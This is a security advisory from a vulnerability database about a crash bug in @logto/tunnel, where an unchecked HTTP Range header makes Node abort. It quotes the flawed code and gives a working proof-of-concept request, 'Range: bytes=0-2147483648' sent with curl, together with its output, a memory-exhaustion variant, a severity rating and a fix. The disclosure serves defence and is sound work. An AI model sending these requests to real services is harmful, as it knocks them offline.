
Cloud Vulnerability DB
A community-led vulnerabilities database
createStaticFileProxy's readFile() allocates a buffer sized from the attacker-supplied
Range end without clamping it to the file size, then passes buffer.length to
fileHandle.read(). Node's fs.Read binding asserts that the length argument is an
Int32; a length above 2³¹−1 fails a native CHECK, which is not catchable from
JavaScript — the process aborts with SIGABRT.
One unauthenticated GET against a 6-byte file kills the tunnel.
@logto/tunnel 0.3.11 (current npm latest). The same code is present in 0.3.8, i.e.
this is a sibling defect in the static-file handler that the CVE-2026-63188 fix rewrote —
not a regression introduced by that fix.
lib/commands/tunnel/utils.js:50-58:
const readFile = async (requestPath, start, end) => {
const fileHandle = await fs.open(requestPath, 'r');
const { size } = await fileHandle.stat();
const readStart = start ?? 0;
const readEnd = end ?? Math.max(size - 1, 0); // size is used ONLY when end is absent
const buffer = Buffer.alloc(readEnd - readStart + 1);
await fileHandle.read(buffer, 0, buffer.length, readStart);
...end arrives from @logto/core-kit's parseRange(), which parses the header and returns
the number verbatim:
export const parseRange = (range) => {
const rangeMatch = /bytes=(\d+)-(\d+)?/.exec(range);
...
const end = rangeMatch?.[2] === undefined ? undefined : Number.parseInt(rangeMatch[2], 10);
return { start, end, count };
};Nothing compares end to size, and nothing returns 416 for an out-of-range end. With
end = 2147483648 the buffer is 2147483649 bytes, and fileHandle.read() hits
node_file.cc's CHECK(args[3]->IsInt32()).
Any network peer that can reach the tunnel's port — the same premise the parent advisory
was rated on. The configuration is the vendor's own documented example
(docs/customization/bring-your-ui/debug-and-test-your-custom-ui-locally.mdx):
logto-tunnel -p 9000 --experience-path /path/to/your/static/files --endpoint https://foobar.logto.app/commands/tunnel/index.ts mounts createStaticFileProxy(path) whenever --experience-path
is set. No flags beyond the documented ones, no credentials, no interaction.
$ logto-tunnel -p <port> --experience-path <lab>/static --endpoint https://foobar.logto.app/
$ ls -l <lab>/static/a.txt -> 6 bytes
$ curl -o /dev/null -w '%{http_code}\n' http://127.0.0.1:<port>/a.txt
200
$ curl -o /dev/null -H 'Range: bytes=0-3' -w '%{http_code}\n' http://127.0.0.1:<port>/a.txt
206
$ curl -H 'Range: bytes=0-2147483648' http://127.0.0.1:<port>/a.txt
(no response, connection closed)
$ echo $? # of the tunnel process
134 # 128 + 6 = SIGABRTProcess output:
# node[...]: void node::fs::Read(const v8::FunctionCallbackInfo<v8::Value>&) at ../src/node_file.cc:2535
# Assertion failed: args[3]->IsInt32()
----- Native stack trace -----
1: node::Assert(node::AssertionInfo const&) [node]
----- JavaScript stack trace -----
4: readFile (@logto/tunnel/lib/commands/tunnel/utils.js:56:22)Availability only, but total and trivially repeatable: a single request terminates the
tunnel process. There is no try/catch that can save it — the abort happens in Node's C++
layer, below the handler's own try block. Under a supervisor that restarts the process, a
request loop is a permanent outage.
A secondary effect on the way to the abort: a smaller-but-still-large Range end (below
INT32_MAX) makes the process zero-fill a buffer of that size, so an attacker can also
drive memory to near-OOM with one request per gigabyte.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = 7.5 (High) by the formula; I rate the
practical severity Medium, because the affected component is a developer-facing CLI
tunnel rather than a production service, and there is no confidentiality or integrity
impact. The parent advisory for this same component was accepted at CVSS 4.0 8.7 on the
same reachability premise, so I am flagging the discrepancy rather than resolving it.
CWE-1284 (improper validation of a quantity) → CWE-789 (memory allocation with excessive
size) → CWE-617 (reachable assertion) → CWE-400.
Clamp in readFile, and answer 416 for an unsatisfiable range:
const readEnd = Math.min(end ?? size - 1, Math.max(size - 1, 0));
if (readStart > readEnd) { throw new Error('Range not satisfiable.'); }getStaticFileErrorStatusCode already maps 'Range not satisfiable.' to 416, so the error
path exists and only needs to be reached. Clamping in parseRange alone is not enough
because it has no access to the file size.
Parent advisory GHSA-rxjr-6c9q-h67x (CVE-2026-63188), "logto-tunnel serves files outside
--experience-path via path traversal", fixed in 0.3.9 by PR #9113 — a different defect
(path confinement) in the same handler; the traversal check is unrelated to the range
arithmetic and is untouched by this report. Installing 0.3.8 shows the identical unclamped
readFile, so this is neither a duplicate of nor a regression from that advisory. No other
advisory, issue or PR for @logto/tunnel mentions Range, buffer sizing, or a crash.
Int32 assertion, so it is version-independent in practice, but the specific
node_file.cc line number will differ across Node releases. I did not test Windows.EVIDENCE_logto_tunnel_range_abort_20260901.txt (inlined; advisories accept no attachments)=== @logto/tunnel 0.3.11 (npm latest) — measured 2026-09-01, node v22.22.3, 127.0.0.1 only ===
start (verbatim from the vendor's documented example):
logto-tunnel -p <port> --experience-path <lab>/static --endpoint https://foobar.logto.app/
served file: <lab>/static/a.txt = 6 bytes
CONTROLS
GET /a.txt -> 200
GET /a.txt Range: bytes=0-3 -> 206
ATTACK — one unauthenticated request
GET /a.txt Range: bytes=0-2147483648 -> no response, connection closed
process exit status: 134 (128+6 = SIGABRT)
process output:
# node[...]: void node::fs::Read(const v8::FunctionCallbackInfo<v8::Value>&) at ../src/node_file.cc:2535
# Assertion failed: args[3]->IsInt32()
----- Native stack trace -----
1: node::Assert(node::AssertionInfo const&) [node]
----- JavaScript stack trace -----
1: read (node:internal/fs/promises:697:13)
2: fsCall (node:internal/fs/promises:466:18)
3: read (node:internal/fs/promises:197:12)
4: readFile (@logto/tunnel/lib/commands/tunnel/utils.js:56:22)
VERSION NOTE: the same unclamped readFile body is present in 0.3.8 (pre-CVE-2026-63188), so this is a sibling defect
in the handler that fix rewrote, NOT a regression the fix introduced.Source: NVD
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."